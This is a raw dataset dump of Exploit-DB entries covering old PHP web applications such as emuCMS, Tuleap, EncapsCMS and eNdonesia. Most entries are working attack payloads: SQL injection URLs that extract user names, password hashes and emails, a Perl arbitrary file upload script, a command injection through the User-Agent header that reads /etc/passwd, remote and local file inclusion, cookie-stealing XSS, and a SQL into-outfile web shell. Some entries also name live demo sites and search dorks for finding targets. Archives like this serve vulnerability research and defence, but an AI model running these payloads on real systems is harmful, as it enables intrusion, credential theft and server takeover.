deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5878
Description: emuCMS 0.3 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-20
Author: TurkishWarriorr

Exploit:
################################################## #######################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
################################################## #######################
Dork : Powered by emuCMS

exploit : index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--

Test Sites

http://www.emusoft.org/index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--
################################################## ########################
www.1923turk.org 
turkish-warriorr@hotmail.com

# milw0rm.com [2008-06-20]
Exploit-DB #5907
Description: emuCMS 0.3 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-23
Author: Stack

Exploit:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+emuCMS 0.3 (fckeditor) Arbitrary File Upload  xpl  +
+                                                   +
+                   By: Stack                       +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
# t0pP8uZz  
INTRO
print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);
   
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }
exit;

# milw0rm.com [2008-06-23]
Exploit-DB #35098
Description: Enalean Tuleap 7.4.99.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-10-28
Author: Portcullis

Exploit:
Vulnerability title: Tuleap <= 7.4.99.5 Authenticated Blind SQL Injection in Enalean Tuleap
CVE: CVE-2014-7176
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from SQL injections:


GET /plugins/docman/?group_id=100&id=16&action=search&global_txt=a<SQL Injection>&global_filtersubmit=Apply HTTP/1.1
Host: 192.168.56.108
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.56.108/plugins/docman/?group_id=100
Cookie: PHPSESSID=3pt0ombsmp0t9adujgrohv8mb6; TULEAP_session_hash=d51433e1f7c9b49079c0e5c511d64c96
Connection: keep-alive


Note: In order to exploit this vulnerability a attacker needs to be in position to access '/plugins/docman/' URN.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7176/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Exploit-DB #35100
Description: Enalean Tuleap 7.4.99.5 - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-10-28
Author: Portcullis

Exploit:
Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap
CVE: CVE-2014-7178
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application.

This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below.

After registering with the application and sending a request similar to the one below the vulnerability can be triggered:


GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1
Host: [IP]
User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[IP]/svn/?group_id=102
Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5
Connection: keep-alive
Cache-Control: max-age=0


Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Exploit-DB #15645
Description: enano CMS 1.1.7pl1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-30
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22709
Reference: http://www.htbridge.ch/advisory/sql_injection_in_enano_cms.html
Product: Enano CMS
Vendor: enanocms.org ( http://enanocms.org/ ) 
Vulnerable Version: 1.1.7pl1
Vendor Notification: 16 November 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in email variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

Step1.
Register new user with email: "any@email.com'SQL_CODE"

Step2.
Log in with new login and password.
Solution: Upgrade to the most recent version

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "title" variable, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:


http://[host]/index.php?title=Special:Captcha/1
http://[host]/index.php?title[]=1

Solution: Upgrade to the most recent version
Exploit-DB #18598
Description: Encaps PHP Gallery - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-14
Author: Daniel Godoy

Exploit:
# Exploit Title: Encaps PHP Gallery SQL Injection
# Date: 14/03/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Encaps PHP Gallery
# http://www.encaps.net/software/encapsgallery/
# Tested on: Linux
# Dork: "shopcart.php?action=add&item_id="
  
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion,LinuxFer, Scorp
    her0, r0dr1 y demas user de RemoteExecution
    www.remoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group

[PoC]

http://localhost/software/encapsgallery/templates/Shopcart/shopcart.php?action=add&item_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Exploit-DB #2750
Description: EncapsCMS 0.3.6 - '/core/core.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-10
Author: Firewall

Exploit:
########################### Firewall ###########################
encapscms 0.3.6  - Remote File Include by Firewall
BuG FounD by Firewall

# Application Affect:
encapscms 0.3.6

# Sorce Code:            
http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip

# Code:
         include_once($root."core/Config.php");
         include_once($root."core/DB_sql.php");
         include_once($root."core/BlogsCats.php");
         include_once($root."core/Block.php");
         include_once($root."core/Block_sub.php");
         include_once($root."core/Gallery.php");
         include_once($root."core/Pager.php");
         include_once($root."core/GalleryCategory.php");
         include_once($root."core/Misc.php");
       
# ExPloit :
http://www.site.com/encapscms_PATH/core/core.php?root=[Evil Script]

#Contact:    Firewall1954@hotmail.com 


# GrEatZ :
|Her0|slackwaren|Ozzmadark|slappter|ArCaX-ATH| |Cvir.System|napster|saok|Zlevyn|Azrael|CyberAlexis| |NitroNet|Matasanos|SysRoot|ANtrAX|FaLENcE|Mnox|Xneo.System|

"El ceviche y El pisco es peruano y jamas podran igualar su calidad" - "Viva el Peru"

########################### Firewall ###########################

# milw0rm.com [2006-11-10]
Exploit-DB #29539
Description: EncapsCMS 0.3.6 - 'common_foot.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-30
Author: Tr_ZiNDaN

Exploit:
source: https://www.securityfocus.com/bid/22319/info

EncapsCMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects EncapsCMS 0.3.6; other versions may also be vulnerable. 

http://www.example.com/encapscms-0.3.6/common_foot.php?config[path]=evilcode?
Exploit-DB #11355
Description: EncapsCMS 0.3.6 - 'config[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-02-07
Author: cr4wl3r

Exploit:
[+] EncapsCMS <= 0.3.6 (config[path]) Remote File Include Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/content-management/encapscms-0.3.6/


[+] Vuln Code : [common_foot.php]

include($config['path']."idx_foot.html");
if($config["debug"]>0){
	echo '<pre><table width=100% bgcolor=silver><tr><td></td></tr></table>';	
	echo '$_POST:';var_dump($_POST);

[+] PoC : 

[EncapsCMS_path]/common_foot.php?config[path]=[Shell]
Exploit-DB #26789
Description: EncapsGallery 1.0 - 'gallery.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15836/info

EncapsGallery is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/gallery.php?page=foto&action=show_custom&id=[SQL]
Exploit-DB #31380
Description: EncapsGallery 1.11.2 - 'catalog_watermark.php?file' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-10
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28178/info
 
EncapsGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
EncapsGallery 1.11.2 is vulnerable to these issues; other versions may also be affected. 

http://localhost/encapsgallery-1.11.2/core/catalog_watermark.php?file="><script>alert(document.cookie)</script>
Exploit-DB #31379
Description: EncapsGallery 1.11.2 - 'watermark.php?File' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-10
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28178/info

EncapsGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EncapsGallery 1.11.2 is vulnerable to these issues; other versions may also be affected. 

http://localhost/encapsgallery-1.11.2/core/watermark.php?file="><script>alert()</script>
Exploit-DB #35715
Description: encoder 0.4.10 - 'edit.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-09
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47755/info

encoder is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

encoder 0.4.10 is vulnerable; other versions may also be affected. 

http://www.example.com/ecoder-0.4.10/edit.php?editor=&mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&path=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&file=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #37553
Description: eNdonesia - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2012-07-29
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/54741/info

eNdonesia is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eNdonesia 8.5 is vulnerable; other versions may also be affected. 

http://www.example.com/eNdonesia/mod.php?mod=diskusi&op=viewcat&cid=-[id][SQL INJECTION]
Exploit-DB #23067
Description: eNdonesia 8.2/8.3 - 'Mod' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-27
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8506/info

It has been reported that eNdonesia is prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a victim's browser. The issue reportedly exists in the mod.php script via the 'mod' URI parameter.

Successful exploitation may allow an attacker to steal cookie-based credentials from a user. Other attacks are possible as well. 

Version 8.2:
http://www.example.com/mod.php?mod=<evil_code>

Version 8.3:
http://www.example.com/mod.php?mod=%3Ch1%3Etest-nih-publisher&op=viewcat&cid=dudul
Exploit-DB #24348
Description: eNdonesia 8.3 - Search Form Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-04
Author: Ahmad Muammar

Exploit:
source: https://www.securityfocus.com/bid/10856/info

It is reported that eNdonesia is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web content.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. Specifically the attacker can pass malicious HTML code as a value for the affected URI parameter supplied to 'mod.php'. All code will be executed within the context of the website running the vulnerable software.

This may allow for theft of cookie-based authentication credentials and other attacks. 

Version 8.3 of the software is reported vulnerable. Other versions may also be affected.

http://www.example.com/mod.php?mod=publisher&op=search&query=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #3004
Description: eNdonesia 8.4 - '/mod.php/friend.php/admin.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-25
Author: z1ckX(ru)

Exploit:
bugs for Endonesia8.4 
FInd:z1ckX(ru)
mail:map-master@mail.ru
1) http://localhost/en/mod.php?mod=[XSS]&op=viewlink&cid=5
2) http://localhost/en/friend.php your Friend:[XSS]
3) http://localhost/en/admin.php Main Text: [XSS]
4) http://localhost/en/mod.php?mod=informasi&op=showinfo&intypeid= ><script>document.write(document.cookie)</script>
5) http://localhost/en/mod.php?mod=../../../../../etc/passwd%00
6) http://localhost/en/mod.php?mod=diskusi&op=viewdisk&did=-4%20union%20select%200,0,name,0,pwd,0,0%20from%20authors/* - LOGIN AND PASS (MD5)
7) http://localhost/en/mod.php?mod=katalog&op=viewlink&cid=-2%20union%20select%200,pwd,0%20from%20authors%20where%20counter=1/*
8) http://localhost/en/mod.php?mod=diskusi&op=viewcat&cid=-2%20union%20select%200,0,0/*

-=====SHELL====-
http://localhost/en/mod.php?mod=diskusi&op=viewdisk&did=-4 %20union%20select%200,0,'<? system($cmd)?>',0,0,0,0%20from%20authors into outfile '/home/localhost/www/en/cmd.php'/*

-======dork=====-
inurl:mod.php?mod=diskusi&op=   

# milw0rm.com [2006-12-25]
Exploit-DB #30226
Description: eNdonesia 8.4 - 'banners.php?click Action bid' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24590/info
 
eNdonesia is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.
 
eNdonesia 8.4 is vulnerable; other versions may also be affected.

http://www.example.com/banners.php?op=click&bid=-9+union+select+pwd+from+authors/*
Exploit-DB #30225
Description: eNdonesia 8.4 - 'mod.php?viewarticle Action artid' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24590/info

eNdonesia is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.

eNdonesia 8.4 is vulnerable; other versions may also be affected.

http://www.example.com/mod.php?mod=katalog&op=viewlink&cid=-1+union+select+1,pwd,3+from+authors/*
http://www.example.com/mod.php?mod=katalog&op=viewlink&cid=-1+union+select+1,LOAD_FILE(0x2F6574632F[PII_REDACTED]64),3+from+authors/*
http://www.example.com/mod.php?mod=diskusi&op=viewdisk&did=-9+union+select+1,2,aid,pwd,5,6,email+from+authors/*
http://www.example.com/mod.php?mod=publisher&op=viewarticle&cid=2&artid=-9+union+select+1,2,3,4,5,pwd,aid,email,9,0+from+authors/*
http://www.example.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors--
Exploit-DB #15006
Description: eNdonesia 8.4 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-15
Author: vYc0d

Exploit:
======================================================================/
 eNdonesia 8.4 (Print Module) SQL Injection Vulnerability    
                                                               
 Download : http://sourceforge.net/projects/endonesia/files/eNdonesia
 Version  : 8.4 or lower maybe also affected
 Dork     : mod.php?mod=publisher&op=printarticle&artid=

======================================================================/
 
 Author  : vYc0d
 Contact : vyc0d@hackermail.com
 Site    : http://vyc0d.uni.cc
 Date    : 15-10-2010

==============================================================================================/

[Vulnerability File]

http://localhost/[eNdonesia 8.4]/mod.php?mod=publisher&op=printarticle&artid=[valid id][sql-i]


[ DEMO ]
 
http://www.site.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors--
 
===================================================================================================================================================/
 
[ Thanks to ]
 
[-] Allah SWT, Muhammad SAW, My Family
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew 
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie - Persiland Security
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)
Exploit-DB #9880
Description: eNdonesia CMS 8.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-11-04
Author: s4r4d0

Exploit:
[*] Endonesia 8.4 CMS
[*] Site: http://www.endonesia.org/
[*] Download: http://sourceforge.net/projects/endonesia
[*] Bug: Local File Inclusion in mod.php file !
[*] Author: s4r4d0
[*] Mail: s4r4d0@yahoo.com
[*] Team: Fatal Error
[*] Poc:http://www.site.com/mod.php?mod=/../../../../../../proc/self/environ%00
[*] DEMO:http://www.trubus-online.com/mod.php?mod=/../../../../../../proc/self/environ%00
[*] SecurityReason Note :
#
# Vulnerable Code in mod.php :
#
# include("./mod/$mod/index.php");
#
# magic_quotes = Off
#
# - sp3x
#
[*] Greetz: Elemento_pcx - z4i0n - D3UX - m4v3rick - HADES - Hualdo - Vympel - sp3x !
[*] Made in Brazil
[*] Reference: http://securityreason.com/exploitalert/7435